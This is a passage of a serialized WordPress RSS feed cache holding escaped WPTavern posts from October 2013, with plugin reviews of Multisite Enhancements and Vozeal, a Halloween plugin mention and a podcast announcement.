Plugin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10782\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:116:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/-ePUQn-z2mA/12-wordpress-multisite-enhancements-in-one-free-plugin\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5897:\&quot;&lt;p&gt;German WordPress developer &lt;a href=\&quot;http://bueltge.de/\&quot; target=\&quot;_blank\&quot;&gt;Frank Bültge&lt;/a&gt; has spent many long hours creating a plugin that encapsulates more than a dozen enhancements often requested by multisite super admins. His Multisite Enhancements plugin has been hosted on &lt;a href=\&quot;https://github.com/bueltge/WordPress-Multisite-Enhancements\&quot; target=\&quot;_blank\&quot;&gt;github&lt;/a&gt; for some time, which made it rather obscure. WordPress plugins hosted on github are often very difficult to find unless you already know about them or &lt;a href=\&quot;http://www.wptavern.com/how-to-install-wordpress-plugins-directly-from-github\&quot; target=\&quot;_blank\&quot;&gt;know how to search them&lt;/a&gt;. That&amp;#8217;s why the WP Engineer team decided to add his plugin to the WordPress repository. &lt;span id=\&quot;more-10782\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://wordpress.org/plugins/multisite-enhancements/\&quot; title=\&quot;WordPress Multisite Enhancements plugin\&quot; target=\&quot;_blank\&quot;&gt;Multisite Enhancements&lt;/a&gt; includes many handy features that one might otherwise get by installing a dozen different plugins. Most of these additions fall within several major categories. Let&amp;#8217;s break them down:&lt;/p&gt;\n&lt;h4&gt;Enhanced Network Menus and Admin Features&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Adds Blog and User ID in network view more&lt;/li&gt;\n&lt;li&gt;Enables an &amp;#8216;Add New&amp;#8217; link under the Plugins menu for Network admins&lt;/li&gt;\n&lt;li&gt;Adds several useful items to the multisite &amp;#8216;Network Admin&amp;#8217; admin bar&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The Multisite Enhancements plugin makes blog and user IDs easy to find in the dashboard. This makes life easier for admins working with themes and plugins that require IDs for configuration. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/blogid.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/blogid.png?resize=560%2C97\&quot; alt=\&quot;blogid\&quot; class=\&quot;aligncenter size-full wp-image-10793\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Perhaps one of the most useful features of this plugin is the &amp;#8220;Add New&amp;#8221; plugins menu added to blogs for super admins. This saves quite a bit of time in network management:&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/add-new-plugins.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/add-new-plugins.png?resize=436%2C378\&quot; alt=\&quot;add-new-plugins\&quot; class=\&quot;aligncenter size-full wp-image-10794\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;h4&gt;Enhancements to Plugin Pages&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;On the network plugins page, show which blogs have this plugin active&lt;/li&gt;\n&lt;li&gt;On the network theme page, show which blogs have the theme active&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The Multisite Enhancements plugin gives admins more insight into which blogs are using installed plugins and themes. This helps admins to know what extensions can be safely deactivated and/or deleted. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/active-plugins.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/active-plugins.png?resize=560%2C276\&quot; alt=\&quot;active-plugins\&quot; class=\&quot;aligncenter size-full wp-image-10797\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;h4&gt;Network Branding&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Adds favicon from theme folder to the admin area to more easily identify the blog. It uses the favicon.ico file in the theme folder of the active theme in each blog&lt;/li&gt;\n&lt;li&gt;Removes the &amp;#8216;W&amp;#8217; logo and its sublinks in the admin bar&lt;/li&gt;\n&lt;li&gt;Adds a Favicon to each blog on the admin bar &amp;#8216;My Sites&amp;#8217; menu&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;This plugin brings the favicon into the admin area, helping admins visually identify blogs on the network. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/favicon.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/favicon.png?resize=430%2C207\&quot; alt=\&quot;favicon\&quot; class=\&quot;aligncenter size-full wp-image-10799\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;h4&gt;Resource Monitoring&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Change Admin footer text for administrators to quickly view current used RAM, SQL, RAM Version&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Multisite super admins usually bear the responsibility of keeping network performance at its best. Adding these stats to the footer helps admins monitor resources available to the network.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/resources.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/resources.png?resize=416%2C48\&quot; alt=\&quot;resources\&quot; class=\&quot;aligncenter size-full wp-image-10801\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;h4&gt;Extra Functions&lt;/h4&gt;\n&lt;p&gt;Depending on what version of WordPress your network is running, there are some extra functions available through the Multisite Enhancements plugin:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;The function &lt;a href=\&quot;http://codex.wordpress.org/WPMU_Functions/get_blog_list\&quot; target=\&quot;_blank\&quot;&gt;get_blog_list()&lt;/a&gt; is currently deprecated in the WP Core but currently usable. The plugin checks this and get an alternative in &lt;em&gt;inc/autoload/core.php&lt;/em&gt;&lt;/li&gt;\n&lt;li&gt;If you develop with the alternative to this function, then you can use the method get_blog_list() in class Multisite_Core. It also uses caching with the Transient API. Read more about the function in &lt;em&gt;inc/autoload/class-core.php&lt;/em&gt;.&lt;/li&gt;\n&lt;li&gt;If you use WordPress version 3.7 and higher, check out the &lt;a href=\&quot;http://codex.wordpress.org/Function_Reference/wp_get_sites\&quot; target=\&quot;_blank\&quot;&gt;wp_get_sites()&lt;/a&gt; function. This is the new alternative function inside the core to get all sites inside the network. The function accepts an array with arguments.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The Multsite Enhancements plugin enables you to manage your network more efficiently. It&amp;#8217;s compatible with WordPress 3.7 and even works with 3.8-alpha. &lt;a href=\&quot;http://wordpress.org/plugins/multisite-enhancements/\&quot; target=\&quot;_blank\&quot;&gt;Download&lt;/a&gt; it for free from wordpress.org via your dashboard. &lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/-ePUQn-z2mA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 23:44:55 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;Sarah Gooding\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:13;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:44:\&quot;WPTavern: This Week On WPWeekly: Cory Miller\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10753\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:95:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/kXHemsHQjaM/this-week-on-wpweekly-cory-miller\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2159:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ithemeslogo2.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/ithemeslogo2.jpg?resize=255%2C53\&quot; alt=\&quot;iThemes logo 2\&quot; class=\&quot;alignright size-full wp-image-10776\&quot; /&gt;&lt;/a&gt;This week on WordPress Weekly, our special guest will be Cory Miller of iThemes.com. I first met Cory back in 2008 at WordCamp Dallas which was my first WordCamp event that I attended. At that time, iThemes was a brand new company looking to innovate the commercial WordPress theme space. They made a lot of progress during 2009 but at one point, it seemed as though &lt;a href=\&quot;http://www.wptavern.com/ithemes-responds-to-speculation-all-is-well\&quot; title=\&quot;http://www.wptavern.com/ithemes-responds-to-speculation-all-is-well\&quot;&gt;the company began to stagnate&lt;/a&gt;. &lt;span id=\&quot;more-10753\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;Cory used the company blog to personally address the concerns raised throughout the WordPress community and assured everyone that they would be continuing to innovate and push the boundaries of WordPress. A few years later, they launched &lt;a href=\&quot;http://ithemes.com/find/plugins\&quot; title=\&quot;http://ithemes.com/find/plugins\&quot;&gt;PluginBuddy&lt;/a&gt;, acquired &lt;a href=\&quot;http://webdesign.com/\&quot; title=\&quot;http://webdesign.com/\&quot;&gt;Webdesign.com&lt;/a&gt;, &lt;a href=\&quot;http://ithemes.com/purchase/builder-theme/\&quot; title=\&quot;http://ithemes.com/purchase/builder-theme/\&quot;&gt;Builder&lt;/a&gt;, and finally, &lt;a href=\&quot;http://ithemes.com/exchange/\&quot; title=\&quot;http://ithemes.com/exchange/\&quot;&gt;Exchange&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Cory has managed to successfully transition the company. They are now much more than just a commercial theme seller. On this weeks show, we&amp;#8217;ll be traveling through time, starting with the launch of iThemes and working our way to the present. I encourage you to listen live, this Friday at 3PM Eastern via the &lt;a href=\&quot;http://www.wptavern.com/wordpress-weekly\&quot; title=\&quot;http://www.wptavern.com/wordpress-weekly\&quot;&gt;WPTavern Podcast page&lt;/a&gt;. If you have any questions you&amp;#8217;d like me to ask Cory, leave them in the comments.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/kXHemsHQjaM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 19:30:29 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:14;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;WPTavern: How To Add Flying Halloween Bats To Your WordPress Site\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10769\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:117:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/xknnUi5YfuU/how-to-add-flying-halloween-bats-to-your-wordpress-site\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1804:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/DWHalloweenBats.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/DWHalloweenBats.jpg?resize=150%2C150\&quot; alt=\&quot;DW Halloween Bats\&quot; class=\&quot;alignright size-thumbnail wp-image-10771\&quot; /&gt;&lt;/a&gt;First off, happy Halloween to those that celebrate it! If you&amp;#8217;re looking to add a bit of spookiness to your site, you should check out the &lt;a href=\&quot;http://wordpress.org/plugins/dw-halloween/\&quot; title=\&quot;http://wordpress.org/plugins/dw-halloween/\&quot;&gt;DW Halloween plugin&lt;/a&gt; by the Designwall Team. This plugin adds a custom post type called Pumkins. There are seven different flying pumpkins to choose from such as Joker Joomla, Mr DPumpkin, and Skull Druplicon. Each pumkin can be configured to display a message when a visitor hovers their mouse over the flying bat.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/DWHalloweenSettings.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/DWHalloweenSettings.jpg?resize=500%2C264\&quot; alt=\&quot;DW Halloween Plugin Settings\&quot; class=\&quot;aligncenter size-large wp-image-10773\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;You can configure the bats with a number of parameters such as the image size, animation type, animation speed, wing speed, pause time, delay time, frame start, whether the image can be closed and finally, a custom CSS class. My recommendation is to allow visitors to close the flying bat in case they consider it a nuisance. Hat tip to &lt;a href=\&quot;https://twitter.com/williamsba/status/395940561104166912\&quot; title=\&quot;https://twitter.com/williamsba/status/395940561104166912\&quot;&gt;Brad Williams&lt;/a&gt; for sharing this plugin.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/xknnUi5YfuU\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 18:30:14 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:15;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;WPTavern: Plugin Review: Vozeal\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10750\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:82:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/g7v7gjfr_fs/plugin-review-vozeal\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:4731:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/vozeallogo.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/vozeallogo.jpg?resize=191%2C53\&quot; alt=\&quot;Vozeal Logo\&quot; class=\&quot;alignright size-full wp-image-10751\&quot; /&gt;&lt;/a&gt;At a local WordPress meetup I attended, an attendee asked what would be the best way to show videos on their site? We dismissed using YouTube because when the video ends, it would most likely show video suggestions that had nothing to do with the topic at hand. We recommended that he use &lt;a&gt;Vimeo&lt;/a&gt;. Earlier this week, I was contacted by the developers of a plugin called &lt;a href=\&quot;http://vozeal.com/\&quot; title=\&quot;http://vozeal.com/\&quot;&gt;Vozeal&lt;/a&gt; that based on their pitch to me, would solve the problem of YouTube videos recommending videos outside of the user&amp;#8217;s channel. I gave it a shot and this was my experience. &lt;span id=\&quot;more-10750\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;/h3&gt;\n&lt;p&gt;Normally when someone pitches me a plugin to review, I expect everything in the plugin as well as the website to work correctly. The only time I don&amp;#8217;t expect that is when the plugin is in beta along with the company&amp;#8217;s website. Before I continue the review, I want you to read the pitch I received.&lt;/p&gt;\n&lt;blockquote&gt;&lt;p&gt;I am co-founder of Vozeal. We give bloggers technology to better engage their audience. We have developed plugins for bloggers to change the youtube suggestions that come. Our plugin ensures that all the suggestion appear from publisher&amp;#8217;s own youtube channel. We are rolling out with blogs like sportskeeda.com, phandroid.com, indiatimes.com on board.&lt;/p&gt;\n&lt;p&gt;We would love to get a review from you guys&lt;/p&gt;&lt;/blockquote&gt;\n&lt;h3&gt;Plugin Doesn&amp;#8217;t Deliver&lt;/h3&gt;\n&lt;p&gt;The first thing I did was check out &lt;a href=\&quot;http://vozeal.com/index.html\&quot; title=\&quot;http://vozeal.com/index.html\&quot;&gt;their website&lt;/a&gt;. Their site delivers the bare minimum of information needed to figure out what their plugin does. However, I couldn&amp;#8217;t find any information on their website dedicated to their WordPress plugin until I browsed their footer. This is where I found a link to their blog with a post from September explaining how to install their plugin. &lt;/p&gt;\n&lt;p&gt;The plugin is very easy to install and only contains one setting. In order to use it, you&amp;#8217;ll need an authorization key that is provided after you signup to their website. Their sign up form looks like this.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/Vozealpluginreview2.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/Vozealpluginreview2.jpg?resize=227%2C300\&quot; alt=\&quot;Vozeal Signup Page\&quot; class=\&quot;aligncenter size-medium wp-image-10757\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;After registering, I didn&amp;#8217;t receive the typical email that accompanies signing up to a website. I did receive a block of code that I was supposed to add to any template file I wanted the widget to show up on. I added the code to a standard Text widget and nothing showed up.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/10/Vozealpluginreview1.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/Vozealpluginreview1.jpg?resize=396%2C236\&quot; alt=\&quot;Vozeal Authorization Key\&quot; class=\&quot;aligncenter size-full wp-image-10755\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;At this point, I have no idea what&amp;#8217;s going on. So I visit the Vozeal website and click on the link that states, &lt;a href=\&quot;http://vozeal.com/index.html#login-box3\&quot; title=\&quot;http://vozeal.com/index.html#login-box3\&quot;&gt;Click Here to Know How Vozeal Work!&lt;/a&gt;. Unfortunately, that doesn&amp;#8217;t provide much help. In fact, this is what I see. &lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/Vozealpluginreview3.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/Vozealpluginreview3.jpg?resize=300%2C176\&quot; alt=\&quot;Vozeal Help Video No Shows\&quot; class=\&quot;aligncenter size-medium wp-image-10759\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;h3&gt;Conclusion&lt;/h3&gt;\n&lt;p&gt;At this point, I give up. There is no sense in continuing. Nothing shows up when I put the code into a text widget and it&amp;#8217;s clear that the Vozeal website needs a lot of work. The statement about this plugin that interested me the most was, &lt;em&gt;our plugin ensures that all the suggestions appear from publisher&amp;#8217;s own youtube channel&lt;/em&gt;. This is a feature that would be helpful to a lot of people, especially to those that publish their Google Hangout recordings. At this time, I recommend avoiding Vozeal at all costs until they get their plugin, and especially their website under control.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/g7v7gjfr_fs\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 18:00:59 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:16;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;WPTavern: What WordPress Taught Me About Open 